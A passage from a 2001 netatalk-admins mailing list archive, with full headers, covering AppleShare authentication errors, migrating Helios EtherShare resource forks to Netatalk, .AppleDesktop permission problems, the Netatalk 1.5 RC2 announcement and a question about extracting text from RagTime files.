><http://sourceforge.net/docman/display_doc.php?docid=404&group_id=8642>


that's exactly what i was looking for! thanks!

(now all i have to do it rebuild netatalk.. again..)

From netatalk.administrators-errors@umich.edu  Tue Dec 18 16:04:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10215
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 16:04:11 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA06044
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 16:04:10 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA06037
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 16:04:10 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA06002
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 16:04:08 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBIL37h22517;
	Tue, 18 Dec 2001 13:03:07 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 18 Dec 2001 13:03:40 -0800
Subject: Re: User Authentication Question...
From: Steve Freitas <sflist@ihonk.com>
To: Shaun <senmonk6@yahoo.com>, <netatalk-admins@umich.edu>
Message-ID: <B844EF2C.A18D%sflist@ihonk.com>
In-Reply-To: <20011218183159.4220.qmail@web20303.mail.yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> User Authentitcation method recquired by server cannot be found, check the
> Appleshare folder in
> Extensions folder

Well, it sounds like your AppleShare Client is out of date. So install the
latest one available for your version of Mac OS. Otherwise, you'll probably
find the config files in /etc/atalk or /etc/netatalk, depending on the
version of Netatalk you've installed.

If in doubt, make sure your locate database is up-to-date (as root, enter
"/etc/cron.daily/slocate"), and then type "locate afpd.conf".

Steve


From netatalk.administrators-errors@umich.edu  Tue Dec 18 19:55:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA21083
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 18 Dec 2001 19:55:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA06113
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 18 Dec 2001 19:55:35 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA06097
	for netatalk.administrators-members@umich.edu; Tue, 18 Dec 2001 19:55:35 -0500 (EST)
Received: from puma.qimr.edu.au (puma.qimr.edu.au [152.98.32.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA06046
	for <netatalk-admins@umich.edu>; Tue, 18 Dec 2001 19:55:33 -0500 (EST)
Received: from qimr.edu.au (drill [152.98.32.83])
	by puma.qimr.edu.au (8.9.3/8.9.3) with ESMTP id KAA25689;
	Wed, 19 Dec 2001 10:53:57 +1000 (EST)
Message-ID: <3C1FE5FC.7771E0C8@qimr.edu.au>
Date: Wed, 19 Dec 2001 10:57:33 +1000
From: Xiaping Lin <xiapingL@qimr.edu.au>
Organization: QIMR
X-Mailer: Mozilla 4.78 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: jamie@white-mountain.org, netatalk-admins@umich.edu
Subject: Re: Migrating Ether Share resource file .rsrc to Netatalk.AppleDouble
References: <B844AB27.16404%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

Thanks to Thomas for the hopeful tips, and response from Wes Yates and Jamie
Flournoy.
I think others have explained quite well what Helios Ether Share is.

We are moving away from it to Netatalk because it's very old. Because the resource
file
format are different between Helios Ether Share and Netatalk, without converting
the resource data,
all files on Netatalk share are showing as text file on Mac machine, double click
the file will not start
the application (e.g. WORD), instead, it display the binary format of the file
with those symbols and
funny characters.

There seems no easy way to do this. I have tried to copy all files from Ether
share to a Mac, then copy all
files back to Netatalk share, everything seems to work fine, e.g. file association
works in the new Netatalk share.
But, I got following error messages in /var/adm/messages during copying:

Dec 17 15:35:12  afpd[28120]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/C/CSOm.icon: No such file or directory
Dec 17 15:35:12  afpd[28120]: [ID 981220 daemon.error] afp_addicon: No such file
or directory
Dec 17 15:35:12  afpd[28120]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/C/CSOm.icon: No such file or directory
Dec 17 15:35:12  afpd[28120]: [ID 981220 daemon.error] afp_addicon: No such file
or directory
:
:
Dec 18 10:30:40  afpd[2703]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/M/MSWD.icon: No such file or directory
Dec 18 10:30:40  afpd[2703]: [ID 981220 daemon.error] afp_addicon: No such file or
directory
Dec 18 10:30:40  afpd[2703]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/M/MSWD.icon: No such file or directory
Dec 18 10:30:40  afpd[2703]: [ID 981220 daemon.error] afp_addicon: No such file or
directory
Dec 18 10:30:40  afpd[2703]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/M/MSWD.icon: No such file or directory
Dec 18 10:30:40  afpd[2703]: [ID 981220 daemon.error] afp_addicon: No such file or
directory
Dec 18 10:30:40  afpd[2703]: [ID 315116 daemon.error] iconopen: open
/path/.AppleDesktop/M/MSWD.icon: No such file or directory
Dec 18 10:30:40  afpd[2703]: [ID 981220 daemon.error] afp_addicon: No such file or
directory
:
:
Every files that was created by a Mac application generated 2 lines messages
above.

I managed to find the reason of above errors. That is I did not created the
directory with right permission to allow me
put files into the .AppleDesktop directory. As soon as I fixed this problem, icon
files gets created in .AppleDesktop.

But I still don't understand why file application association still works fine,
and Word file display "W" icon, when there
is no .AppleDesktop directory?


Looking forweard to your reply.

Thanks again!


Thomas Kaiser wrote:

> On Tue, 18 Dec 2001 15:25:54 +1000, Xiaping Lin wrote:
>
> > I am trying to convert resource file of Helios Ether Share to Netatalk
> > (netatalk-1.4b2+asun2.1.4) on SUN Solaris 8 machine. Does anyone know how to
> > do it?
>
> One way is using a simple perl script to translate the metadata and resource
> fork data from each format into another. Netatalk's settings can be examined
> from source. For Helios' there exists a small PDF inside the support section
> on <http://www.helios.de>.
>
> Another way would be to convert the whole file temporary into MacBinary and
> back into the other native format (for Helios --> ES-Convert from UG-Soft
> <http://www.ugsoft-de>, for Netatalk use megatron --> 'man megatron'. But be
> careful! Older versions of megatron create wrong timestamps!)
>
> BTW: Why do you want to do this? Is this an older EtherShare installation?
>
> Best regards,
>
> Thomas

--
Xiaping Lin




From netatalk.administrators-errors@umich.edu  Wed Dec 19 00:43:37 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA03362
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 00:43:37 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA28160
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 00:43:37 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA28147
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 00:43:37 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA28118
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 00:43:35 -0500 (EST)
Received: from [149.225.40.151] (pec-40-151.tnt4.f.uunet.de [149.225.40.151])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id HAA01222;
	Wed, 19 Dec 2001 07:05:55 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 19 Dec 2001 06:43:21 +0100
Subject: Re: Migrating Ether Share resource file .rsrc to
	Netatalk.AppleDouble
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Xiaping Lin <xiapingL@qimr.edu.au>
CC: <jamie@white-mountain.org>, <netatalk-admins@umich.edu>
Message-ID: <B845E72F.164EF%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C1FE5FC.7771E0C8@qimr.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Wed, 19 Dec 2001 10:57:33 +1000, Xiaping Lin wrote:

[EtherShare]
> We are moving away from it to Netatalk because it's very old.

Okay. It it's pre 2.0 then it might be a good idea to either upgrade or
switch to netatalk (depends on your user's needs, IMHO, and not on admin's
mind)

> Because the resource file format are different between Helios Ether Share and
> Netatalk, without converting the resource data, all files on Netatalk share
> are showing as text file on Mac machine, double click the file will not start
> the application (e.g. WORD), instead, it display the binary format of the file
> with those symbols and funny characters.

Not only caused by different formats... EtherShare stores the resource file
inside the subdir '.rsrc', Netatalk in '.AppleDouble'

> There seems no easy way to do this.

You have tried the easiest of all (copying by AFP from a client mac)

> I have tried to copy all files from Ether share to a Mac, then copy all files
> back to Netatalk share, everything seems to work fine, e.g. file association
> works in the new Netatalk share.

That's because AFP as protocol takes care of such things

> But, I got following error messages in /var/adm/messages during copying:
> 
> Dec 17 15:35:12  afpd[28120]: [ID 315116 daemon.error] iconopen: open
> /path/.AppleDesktop/C/CSOm.icon: No such file or directory
> Dec 17 15:35:12  afpd[28120]: [ID 981220 daemon.error] afp_addicon: No such
> file or directory

wrong permissions on .AppleDesktop

> [...]
> I managed to find the reason of above errors. That is I did not created the
> directory with right permission to allow me put files into the .AppleDesktop
> directory. 

Correct.

> As soon as I fixed this problem, icon files gets created in .AppleDesktop.
 
:-)

> But I still don't understand why file application association still works
> fine, and Word file display "W" icon, when there is no .AppleDesktop
> directory?

If a document has no custom icon (you can assingn one via the 'info window'
in Finder) then the Finder will look into the Volumes Desktop Database
whether an (already registered) appropriate application (determining the
right one by looking at the file's creator code) has stored a specific
volume for this filetype inside the desktop database.

If there is none then the Finder will look into lolcal Desktop Databases
too.

So if you have Word installed on your mac, you will always see a Word icon
for Word files (even if there is no entry in the desktop database
'.AppleDesktop' on the Netatalk share). If another user, who doesn't have
Word, looks at such a file, it will displayed to him with a generic icon
(lacking an icon definition inside .AppleDesktop)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Dec 19 01:20:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA04643
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 01:20:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA13443
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 01:20:09 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA13427
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 01:20:09 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA13387
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 01:20:07 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fBJ6K5X9022542
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 07:20:06 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fBJ6K5uA015057
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 07:20:05 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fBJ6K5ki015055
	for netatalk-admins@umich.edu; Wed, 19 Dec 2001 07:20:05 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 16GZyK-0002WP-00; Wed, 19 Dec 2001 07:12:56 +0100
Date: Wed, 19 Dec 2001 07:12:55 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Netatalk 1.5 Release Candidate 2
Message-ID: <20011219071255.A9671@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

The second release candidate to Netatalk 1.5 is now available at
http://me.in-berlin.de/~jroger/netatalk/netatalk-1.5rc2.tar.gz, and
hopefully also at SourceForge, soon. Its changes to RC1 are minimal and
so we hope to be able to release a final 1.5.0 soon:

* This release does now contain a NEWS file, which lists the
  changes since the last release. These changes are:

* FIX: contrib/shell_utils/lp2pap.sh was erased when "make clean" was called.
       Now we distribute lp2pap.sh.tmpl instead, and lp2pap.sh is automatically
       generated during package build.
* FIX: Some platforms (notably Tru64) don't have the snprintf() call, which
       was used in etc/afp/afp_config.c. This call was replaced by sprintf()
       and prior bounds checking.

BTW: We should think about the text for the final announcement. Please send
your brainstorming notes to netatalk-devel@lists.sourceforge.net.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Wed Dec 19 01:24:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA04825
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 01:24:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA20377
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 01:24:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA20369
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 01:24:48 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA20292
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 01:24:43 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBJ6NsJ93949;
	Wed, 19 Dec 2001 01:23:54 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Netatalk 1.5 Release Candidate 2
From: Joe Clarke <marcus@marcuscom.com>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-Reply-To: <20011219071255.A9671@jroger.in-berlin.de>
References: <20011219071255.A9671@jroger.in-berlin.de>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 19 Dec 2001 01:24:19 -0500
Message-Id: <1008743062.68800.5.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Wed, 2001-12-19 at 01:12, Sebastian Rittau wrote:
> The second release candidate to Netatalk 1.5 is now available at
> http://me.in-berlin.de/~jroger/netatalk/netatalk-1.5rc2.tar.gz, and
> hopefully also at SourceForge, soon. Its changes to RC1 are minimal and
> so we hope to be able to release a final 1.5.0 soon:
> 
> * This release does now contain a NEWS file, which lists the
>   changes since the last release. These changes are:
> 
> * FIX: contrib/shell_utils/lp2pap.sh was erased when "make clean" was called.
>        Now we distribute lp2pap.sh.tmpl instead, and lp2pap.sh is automatically
>        generated during package build.
> * FIX: Some platforms (notably Tru64) don't have the snprintf() call, which
>        was used in etc/afp/afp_config.c. This call was replaced by sprintf()
>        and prior bounds checking.
> 
> BTW: We should think about the text for the final announcement. Please send
> your brainstorming notes to netatalk-devel@lists.sourceforge.net.

How about:

Sunday! Sunaday! Sunday!  One day only: Netatalk 1.5 RELEASE!

Too over-the-top?

Joe

> 
>  - Sebastian
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Wed Dec 19 01:32:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA05137
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 01:32:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA22987
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 01:32:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA22980
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 01:32:24 -0500 (EST)
Received: from mail.tiri.li (tbm.nwe.de [195.226.126.136])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA22944
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 01:32:22 -0500 (EST)
Received: (from wwwrun@localhost)
	by mail.tiri.li (8.9.3/8.9.3) id HAA06420;
	Wed, 19 Dec 2001 07:32:10 +0100
Date: Wed, 19 Dec 2001 07:32:10 +0100
Message-Id: <200112190632.HAA06420@mail.tiri.li>
X-Authentication-Warning: mail.tiri.li: wwwrun set sender to info@tiri.li using -f
From: Thomas Baumann <thomasba@morse.com>
To: Sebastian Rittau <srittau@jroger.in-berlin.de>
Reply-To: Thomas Baumann <thomasba@morse.com>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
References: <20011219071255.A9671@jroger.in-berlin.de>
In-Reply-To: <20011219071255.A9671@jroger.in-berlin.de>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP3 Imap webMail Program 2.0.11
Sender: info@tiri.li
X-Originating-IP: 62.226.36.59
Subject: Re: messaging

Can you please update your description for
sending messages, when compiled with --with-msg-dir
option ? When I have a message in my /msgdir/message 
and kill the PID of my logged in user with e.g.
kill -SIGUSR2 4711 I got only the message \"The Server
has closed its connection\", but this was not the
text of my /msgdir/message file.

Thanks to all

Maybe sb. has ha solution or a hint.

I Use Mac OS 9.0.4 and Netatalk 1.5pre6

thomas

Zitiere Sebastian Rittau <srittau@jroger.in-berlin.de>:

> 
>
> > ----------
> > From: 	Sebastian Rittau[SMTP:SRITTAU@JROGER.IN-
BERLIN.DE]
> > Sent: 	Wednesday, December 19, 2001 7:12:55 AM
> > To: 	netatalk-devel@lists.sourceforge.net; 
netatalk-admins@umich.edu
> > Subject: 	Netatalk 1.5 Release Candidate 2
> > Auto forwarded by a Rule
> >
> The second release candidate to Netatalk 1.5 is now 
available at
> http://me.in-berlin.de/~jroger/netatalk/netatalk-
1.5rc2.tar.gz, and
> hopefully also at SourceForge, soon. Its changes to 
RC1 are minimal and
> so we hope to be able to release a final 1.5.0 soon:
>
> * This release does now contain a NEWS file, which 
lists the
>   changes since the last release. These changes are:
>
> * FIX: contrib/shell_utils/lp2pap.sh was erased 
when \"make clean\" was
> called.
>        Now we distribute lp2pap.sh.tmpl instead, and 
lp2pap.sh is
> automatically
>        generated during package build.
> * FIX: Some platforms (notably Tru64) don\'t have the 
snprintf() call, which
>        was used in etc/afp/afp_config.c. This call 
was replaced by
> sprintf()
>        and prior bounds checking.
>
> BTW: We should think about the text for the final 
announcement. Please send
> your brainstorming notes to netatalk-
devel@lists.sourceforge.net.
>
>  - Sebastian
> 



------------------------------------------------------
                            T h o m a s  B a u m a n n
                                     Postfach 11 01 15
tom@tiri.li                          D-64216 Darmstadt
Tel. 07000 6646466  Fax 070000 329329 (= 070000 FAXFAX)
------------------------------------------------------

-----------------------------------------------------
This mail sent through IMP: http://web.horde.org/imp/

From netatalk.administrators-errors@umich.edu  Wed Dec 19 01:38:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA05315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 01:38:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id BAA29655
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 01:38:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA29641
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 01:38:05 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id BAA29617
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 01:38:04 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBJ6bfJ94028;
	Wed, 19 Dec 2001 01:37:41 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: [Netatalk-devel] Re: messaging
From: Joe Clarke <marcus@marcuscom.com>
To: Thomas Baumann <thomasba@morse.com>
Cc: Sebastian Rittau <srittau@jroger.in-berlin.de>,
        netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
In-Reply-To: <200112190632.HAA06420@mail.tiri.li>
References: <20011219071255.A9671@jroger.in-berlin.de> 
	<200112190632.HAA06420@mail.tiri.li>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 19 Dec 2001 01:38:06 -0500
Message-Id: <1008743886.68800.7.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Wed, 2001-12-19 at 01:32, Thomas Baumann wrote:
> Can you please update your description for
> sending messages, when compiled with --with-msg-dir
> option ? When I have a message in my /msgdir/message 
> and kill the PID of my logged in user with e.g.
> kill -SIGUSR2 4711 I got only the message \"The Server
> has closed its connection\", but this was not the
> text of my /msgdir/message file.

This option has been replaced with:

--with-message-dir=PATH

This is seen by doing a ./configure --help.  I will update doc/INSTALL
et al to reflect this.  Thanks for the heads-up.

Joe

> 
> Thanks to all
> 
> Maybe sb. has ha solution or a hint.
> 
> I Use Mac OS 9.0.4 and Netatalk 1.5pre6
> 
> thomas
> 
> Zitiere Sebastian Rittau <srittau@jroger.in-berlin.de>:
> 
> > 
> >
> > > ----------
> > > From: 	Sebastian Rittau[SMTP:SRITTAU@JROGER.IN-
> BERLIN.DE]
> > > Sent: 	Wednesday, December 19, 2001 7:12:55 AM
> > > To: 	netatalk-devel@lists.sourceforge.net; 
> netatalk-admins@umich.edu
> > > Subject: 	Netatalk 1.5 Release Candidate 2
> > > Auto forwarded by a Rule
> > >
> > The second release candidate to Netatalk 1.5 is now 
> available at
> > http://me.in-berlin.de/~jroger/netatalk/netatalk-
> 1.5rc2.tar.gz, and
> > hopefully also at SourceForge, soon. Its changes to 
> RC1 are minimal and
> > so we hope to be able to release a final 1.5.0 soon:
> >
> > * This release does now contain a NEWS file, which 
> lists the
> >   changes since the last release. These changes are:
> >
> > * FIX: contrib/shell_utils/lp2pap.sh was erased 
> when \"make clean\" was
> > called.
> >        Now we distribute lp2pap.sh.tmpl instead, and 
> lp2pap.sh is
> > automatically
> >        generated during package build.
> > * FIX: Some platforms (notably Tru64) don\'t have the 
> snprintf() call, which
> >        was used in etc/afp/afp_config.c. This call 
> was replaced by
> > sprintf()
> >        and prior bounds checking.
> >
> > BTW: We should think about the text for the final 
> announcement. Please send
> > your brainstorming notes to netatalk-
> devel@lists.sourceforge.net.
> >
> >  - Sebastian
> > 
> 
> 
> 
> ------------------------------------------------------
>                             T h o m a s  B a u m a n n
>                                      Postfach 11 01 15
> tom@tiri.li                          D-64216 Darmstadt
> Tel. 07000 6646466  Fax 070000 329329 (= 070000 FAXFAX)
> ------------------------------------------------------
> 
> -----------------------------------------------------
> This mail sent through IMP: http://web.horde.org/imp/
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 



From netatalk.administrators-errors@umich.edu  Wed Dec 19 08:38:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA20295
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 08:38:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA22023
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 08:38:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA22011
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 08:38:33 -0500 (EST)
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA21982
	for <netatalk-admins@umich.edu>; Wed, 19 Dec 2001 08:38:31 -0500 (EST)
Received: from fwd01.sul.t-online.de 
	by mailout01.sul.t-online.de with smtp 
	id 16GguV-0004xX-06; Wed, 19 Dec 2001 14:37:27 +0100
Received: from hasi.coffee.ac (520007682752-0001@[217.82.198.43]) by fmrl01.sul.t-online.com
	with esmtp id 16GguS-0zOr4aC; Wed, 19 Dec 2001 14:37:24 +0100
Received: (from colin@localhost)
	by hasi.coffee.ac (8.9.3/8.9.3) id OAA01675
	for netatalk-admins@umich.edu; Wed, 19 Dec 2001 14:39:59 +0100
Date: Wed, 19 Dec 2001 14:39:59 +0100
From: Colin Tueck <colin@tueck.de>
To: netatalk-admins@umich.edu
Subject: Rag Time to text/plain
Message-ID: <20011219143959.A1667@hasi.coffee.ac>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5i
X-OS-Version: Linux 2.4.16 i686
X-Mailer: Mutt 1.2.5i (2000-07-28)
X-Uptime: 2:36pm  up  9:41,  1 user,  load average: 0.00, 0.00, 0.00
X-Sender: 520007682752-0001@t-dialin.net

Hello out there,

does anyone know about a solution for getting just the plain text out
of a Rag Time document? (HTML would of course also be okay.)
This would be very helpful for my file indexer. Unfortunately, RagTime
uses a binary format to save its files. :-(

Bye,
Colin
-- 
| Colin Tück            | Lothringerstr. 101 | Benzstr. 1       |
| Handy:   0173/9896010 | 52070 Aachen       | 47574 Goch       |
| Mail:  colin@tueck.de | Fon: 0241/4003872  | Fon: 02823/95305 |

From netatalk.administrators-errors@umich.edu  Wed Dec 19 09:10:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA21646
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 19 Dec 2001 09:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA14819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 19 Dec 2001 09:10:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA14805
	for netatalk.administrators-members@umich.edu; Wed, 19 Dec 2001 09:10:16 -0500 (EST)
Received: from yellowspace.net (customer-host-145.yellowspace.net [213.183.5.145])
